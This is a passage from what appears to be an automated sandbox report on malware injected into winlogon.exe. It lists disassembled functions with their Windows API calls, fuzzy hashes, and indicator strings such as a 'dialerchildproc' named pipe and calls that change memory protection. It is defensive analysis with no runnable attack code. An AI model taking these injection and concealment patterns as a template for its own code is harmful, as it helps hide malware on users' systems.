d, xrefs: 00000225DC6410D6

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: eb49eb748c89d3ea360b01ac63e6da2e3fd63eeae5794c5364ff5fd5cc2816dc
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: EB418377218F90D6E760CFA5E44879E77A1F388B99F148115DB8A07B58DF38C449CB00

Function 00000225DC67D498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000225DC67CC0E,?,?,?,?,?,?,?,?,00000225DC67D3CD,?,?,00000001), ref: 00000225DC67D4B7
FlsSetValue.KERNEL32(?,?,?,00000225DC67CC0E,?,?,?,?,?,?,?,?,00000225DC67D3CD,?,?,00000001), ref: 00000225DC67D4D6
FlsSetValue.KERNEL32(?,?,?,00000225DC67CC0E,?,?,?,?,?,?,?,?,00000225DC67D3CD,?,?,00000001), ref: 00000225DC67D4FE
FlsSetValue.KERNEL32(?,?,?,00000225DC67CC0E,?,?,?,?,?,?,?,?,00000225DC67D3CD,?,?,00000001), ref: 00000225DC67D50F
FlsSetValue.KERNEL32(?,?,?,00000225DC67CC0E,?,?,?,?,?,?,?,?,00000225DC67D3CD,?,?,00000001), ref: 00000225DC67D520

Strings

Y%, xrefs: 00000225DC67D4D6
1%, xrefs: 00000225DC67D4FE

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: 7a5cade007396d89c313b2eded1a0e0c2a17c4b5336f1a6556e0ae1fe585a1f5
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 1911E728305E64B2FE5897FDA94D33922415F847F6F54CF24A8390AFDADE38C456C601

Function 00000225DC64D498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000225DC64CC0E,?,?,?,?,?,?,?,?,00000225DC64D3CD,?,?,00000001), ref: 00000225DC64D4B7
FlsSetValue.KERNEL32(?,?,?,00000225DC64CC0E,?,?,?,?,?,?,?,?,00000225DC64D3CD,?,?,00000001), ref: 00000225DC64D4D6
FlsSetValue.KERNEL32(?,?,?,00000225DC64CC0E,?,?,?,?,?,?,?,?,00000225DC64D3CD,?,?,00000001), ref: 00000225DC64D4FE
FlsSetValue.KERNEL32(?,?,?,00000225DC64CC0E,?,?,?,?,?,?,?,?,00000225DC64D3CD,?,?,00000001), ref: 00000225DC64D50F
FlsSetValue.KERNEL32(?,?,?,00000225DC64CC0E,?,?,?,?,?,?,?,?,00000225DC64D3CD,?,?,00000001), ref: 00000225DC64D520

Strings

Y%, xrefs: 00000225DC64D4D6
1%, xrefs: 00000225DC64D4FE

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: 7258fba70c469de14b0abad65e245d1751330628400bd6022e2dbc4a76e57fcf
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 7311B228B0DE6461FE58A7FEE54D36932415F847F6F44C3A4A83B46BDADE38C482C601

Function 00000225DC672334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC672349
GetCurrentProcessId.KERNEL32 ref: 00000225DC672353
CreateFileW.KERNEL32 ref: 00000225DC672384
WriteFile.KERNEL32 ref: 00000225DC6723AC
ReadFile.KERNEL32 ref: 00000225DC6723CB
CloseHandle.KERNEL32 ref: 00000225DC6723D4

Strings

\\.\pipe\dialerchildproc, xrefs: 00000225DC672365

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: 5143fbefe5be0cbdbfcec55bfe3b06ee70d7d12685544569a92137414076662f
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: CF117C7A614B50D2E710CFA9F50875A6760F789BA6F908311EB5A06BE8CF7CC148CB05

Function 00000225DC642334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC642349
GetCurrentProcessId.KERNEL32 ref: 00000225DC642353
CreateFileW.KERNEL32 ref: 00000225DC642384
WriteFile.KERNEL32 ref: 00000225DC6423AC
ReadFile.KERNEL32 ref: 00000225DC6423CB
CloseHandle.KERNEL32 ref: 00000225DC6423D4

Strings

\\.\pipe\dialerchildproc, xrefs: 00000225DC642365

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: 9d95a24ee7134dd075f6916613b88123dbf79a1f71578d387e86653e009e63ca
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 65114F75628B5092E7108FA5F50875A7771F389BA6F608315EB5A02BA8CF7CC144CB00

Function 00000225DC677940 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC677968
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC6779BA
_RTC_Initialize.LIBCMT ref: 00000225DC6779E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC677A0E
__scrt_release_startup_lock.LIBCMT ref: 00000225DC677A39

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 63ad33cb13a1a1ecb4fb3b89351e14cbc887f17384d78b1a824e8bcf136f24cd
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 3A81F52C700F61AAFB52AFED944D3596290AB89B82F14CD259B0487FD6DFB8C945CF00

Function 00000225DC647940 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC647968
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC6479BA
_RTC_Initialize.LIBCMT ref: 00000225DC6479E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC647A0E
__scrt_release_startup_lock.LIBCMT ref: 00000225DC647A39

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 245c3a3780669e612167fd2f49c2b2f1444ffda43349089e810e4d17d475938c
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 1181262C71CF71BAFB90AFED984D3593290AB85B82F14D1A5DA0783796DB38C945CB00

Function 00000225DC67A1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000225DC67A3B3,?,?,?,00000225DC679B9C,?,?,?,?,00000225DC6796BD), ref: 00000225DC67A279
GetLastError.KERNEL32(?,?,?,00000225DC67A3B3,?,?,?,00000225DC679B9C,?,?,?,?,00000225DC6796BD), ref: 00000225DC67A287
LoadLibraryExW.KERNEL32(?,?,?,00000225DC67A3B3,?,?,?,00000225DC679B9C,?,?,?,?,00000225DC6796BD), ref: 00000225DC67A2B1
FreeLibrary.KERNEL32(?,?,?,00000225DC67A3B3,?,?,?,00000225DC679B9C,?,?,?,?,00000225DC6796BD), ref: 00000225DC67A2F7
GetProcAddress.KERNEL32(?,?,?,00000225DC67A3B3,?,?,?,00000225DC679B9C,?,?,?,?,00000225DC6796BD), ref: 00000225DC67A303

Strings

api-ms-, xrefs: 00000225DC67A299

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: 93bdd749a80a6279d82df938997b6772221fc21d9ad4c52bcd094a8c62c4e4d0
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: CD31C935316E60F1EE11DFC9A4087552394FB04B61F699925AD2E47BD2DF39C545C310

Function 00000225DC64A1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000225DC64A3B3,?,?,?,00000225DC649B9C,?,?,?,?,00000225DC6496BD), ref: 00000225DC64A279
GetLastError.KERNEL32(?,?,?,00000225DC64A3B3,?,?,?,00000225DC649B9C,?,?,?,?,00000225DC6496BD), ref: 00000225DC64A287
LoadLibraryExW.KERNEL32(?,?,?,00000225DC64A3B3,?,?,?,00000225DC649B9C,?,?,?,?,00000225DC6496BD), ref: 00000225DC64A2B1
FreeLibrary.KERNEL32(?,?,?,00000225DC64A3B3,?,?,?,00000225DC649B9C,?,?,?,?,00000225DC6496BD), ref: 00000225DC64A2F7
GetProcAddress.KERNEL32(?,?,?,00000225DC64A3B3,?,?,?,00000225DC649B9C,?,?,?,?,00000225DC6496BD), ref: 00000225DC64A303

Strings

api-ms-, xrefs: 00000225DC64A299

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: 7c354baf2becc406c9690de1d574f0e0c23927cd8675cd5bc7f9ca9363dd24dd
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: 9831C72931EE60B1EE129BCAA4087553394F708B66F698664EE1F47392EF39C144C300

Function 00000225DC6841E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC684215
GetLastError.KERNEL32 ref: 00000225DC684221
CloseHandle.KERNEL32 ref: 00000225DC684239
CreateFileW.KERNEL32 ref: 00000225DC684264
WriteConsoleW.KERNEL32 ref: 00000225DC684283

Strings

CONOUT$, xrefs: 00000225DC684245

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: dcc30e952b56894f8f882cea4a7a8afdedaba1e3027df95fb4c3850d902d2072
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: CF119035314F6096E750CBDAF85831966A0FB88BE6F548215EA5E8B7D4CF38C404C745

Function 00000225DC6541E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000225DC654215
GetLastError.KERNEL32 ref: 00000225DC654221
CloseHandle.KERNEL32 ref: 00000225DC654239
CreateFileW.KERNEL32 ref: 00000225DC654264
WriteConsoleW.KERNEL32 ref: 00000225DC654283

Strings

CONOUT$, xrefs: 00000225DC654245

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: 69caf4a79e949a29d135b95860dd2f68db3fa5e2b64677b329da0df6282d1a4f
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: 6B118F35324F6096E7908BDAF85832966A4F788FE6F248225EA5E87794DF38C804C740

Function 00000225DC673BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC67365F), ref: 00000225DC673BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC67365F), ref: 00000225DC673BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC67365F), ref: 00000225DC673C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC67365F), ref: 00000225DC673C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC67365F), ref: 00000225DC673C5A

Strings

wr, xrefs: 00000225DC673C2F

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: b10adc177de773fbabd993369e697b4a55bd2c125b3a7f779076e93c5e5e0882
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: D9118E6A300B5092EB649BA9E4482696261FB48F95F548838DF8D07B94EF3DC544C708

Function 00000225DC675F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC675F9B
GetThreadContext.KERNEL32 ref: 00000225DC676105

Part of subcall function 00000225DC675D90: GetCurrentThreadId.KERNEL32 ref: 00000225DC675D94

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: 6a97c4c12a32b94d673c00423403d4c75ff52a93935e058119094c360a29ac69
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: 6CD1AA7A208F98D5DA70DB9AE49835AB7A0F388B85F104616EACD47BA5DF7CC541CB00

Function 00000225DC6731CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6722ED), ref: 00000225DC6731EF
HeapAlloc.KERNEL32(?,?,?,?,?,00000225DC6722ED), ref: 00000225DC673202
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000225DC6722ED), ref: 00000225DC673277
GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6722ED), ref: 00000225DC6732DD
HeapFree.KERNEL32(?,?,?,?,?,00000225DC6722ED), ref: 00000225DC6732EB

Strings

dialer, xrefs: 00000225DC673270

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: 7ade69da3f205b80d6d51427c7ba1e6dfbeddfa96b255973500cefac0ca4292f
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: 39319F3A705F61A2EB50DFEAE54876963A0BB54F82F18C9348F5807B95EF34D465C300

Function 00000225DC6431CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6422ED), ref: 00000225DC6431EF
HeapAlloc.KERNEL32(?,?,?,?,?,00000225DC6422ED), ref: 00000225DC643202
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000225DC6422ED), ref: 00000225DC643277
GetProcessHeap.KERNEL32(?,?,?,?,?,00000225DC6422ED), ref: 00000225DC6432DD
HeapFree.KERNEL32(?,?,?,?,?,00000225DC6422ED), ref: 00000225DC6432EB

Strings

dialer, xrefs: 00000225DC643270

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: 6f800f5eb6f628bcdb478ea8421835497432b21b4983bca8d0c9fc270d56c7b5
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: D731702970DF65A2EA54DFEAE94876A7390BB54F81F08C1348F4907B55EF34D465C700

Function 00000225DC67D3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67D3DF
FlsSetValue.KERNEL32(?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67D415
FlsSetValue.KERNEL32(?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67D442
FlsSetValue.KERNEL32(?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67D453
FlsSetValue.KERNEL32(?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67D464
SetLastError.KERNEL32(?,?,?,00000225DC67DAE5,?,?,?,?,00000225DC67DBA8), ref: 00000225DC67D47F

Memory Dump Source

